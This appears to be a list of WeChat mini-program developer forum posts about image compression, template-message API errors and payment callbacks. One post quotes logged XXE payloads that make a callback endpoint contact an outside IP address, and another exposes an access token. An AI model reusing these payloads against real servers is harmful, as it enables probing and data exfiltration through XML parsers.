- wx.chooseImage,IOS/Android选择图片被压缩?
问题1:安卓使用真机无法选择原图,微信版本8.0.50 问题2:IOS/安卓选择图片上传后,图片被压缩,IOS选择100M的原图被压缩至5M,安卓选择40M的图片(无原图选项)被压缩至200K 问题3:wx.chooseImage后,使用wx.getLocalImgData获取localData计算大小,通过wx.uploadImage上传到微信服务器得到mediaId 然而,wx.getLocalImgData计算的大小与后端通过mediaId获取到的图片大小不一致 原图40M, wx.getLocalImgData计算为3643826=3.475M,通过mediaId获取的图片大小200K wx.chooseImage({ count: 1, // 默认9 sizeType: ['original', 'compressed'], // 可以指定是原图还是压缩图,默认二者都有 sourceType: ['album', 'camera'], // 可以指定来源是相册还是相机,默认二者都有 success: (res) => { // 返回选定照片的本地ID列表,localId可以作为img标签的src属性显示图片 console.log(res.localIds); }, cancel: () => {} }); // 获取base64图片的大小 function getBase64ImageSize(base64String) { // 移除"data:image/*;base64,"前缀,这个前缀不包含实际的数据 const prefix = /^data:image\/(png|jpg|jpeg);base64,/; const base64Data = base64String.replace(prefix, ""); // 计算base64字符串的字节长度 const decodedData = atob(base64Data); // 使用atob函数解码base64字符串 const imageSize = decodedData.length; // 获取解码后的字符串长度,即图片大小(字节) return imageSize; }
08-20 - subscribeMessage.addTemplate 调用返回503错误?
subscribeMessage.addTemplate在代码使用Post调用返回错误“远程服务器返回错误: (503) 服务器不可用。” 时间:2020-03-26 14:20左右 appid:wx94d21e98dc57d2d2 url: https://api.weixin.qq.com/wxaapi/newtmpl/addtemplate?access_token=31_STI6DaUIK1BghHpeby9nuxLpHU7rchFVkT7vMRghZ3-SjYy9zINQ3CG5hCRjjf4aE0RGA6clWddz8KsT-kGwBjzQaSh1xb4mArWyPJhphkIt8X1idu0JgmcG41M4KSQ_Qi65xsu3FVpMevnIZJOaAJDDNS postData:{"tid":"1927","kidList":[1,5,3,4],"sceneDesc":"支付成功"} post返回: [图片] 但是,实际模板已经添加成功 [图片]
2020-03-26 - 小程序微信支付回调失败,每日凌晨都会回调,但是回调请求无数据?
由于之前未记录请求日志,1月4日开始记录后,每日凌晨03:11 ,03:23,03:33 左右都会回调2次 请问这个请求结果是什么原因? 回调原始请求如下: 【2020/1/8 3:11:47】 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://101.91.62.170:4837/wx_xxe_dbc_os_2020010803_990?aHR0cHM6Ly94bHMud2Rnai5jb20vVmFsdWVzL1dYUGF5UmVzdWx0Tm90aWZ5L2dhbWVzYm9zcw=="> %xxe; ]> 【2020/1/8 3:11:47】 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://101.91.62.170:4837/wx_xxe_dbc_os_2020010803_990?aHR0cHM6Ly94bHMud2Rnai5jb20vVmFsdWVzL1dYUGF5UmVzdWx0Tm90aWZ5L2dhbWVzYm9zcw==">]> <foo><value>&xxe;</value></foo>
2020-01-08 - subscribeMessage.addTemplate 接口请求参数tid如何获取?
接口文档中所说,模板标题 id,可通过接口获取,也可登录小程序后台查看获取,和模板消息添加接口相同,但是小程序后台模板库并没有提供模板ID,如何获取呢? [图片] 而模板消息,小程序后台模板库是有提供ID的 [图片][图片]
2019-12-06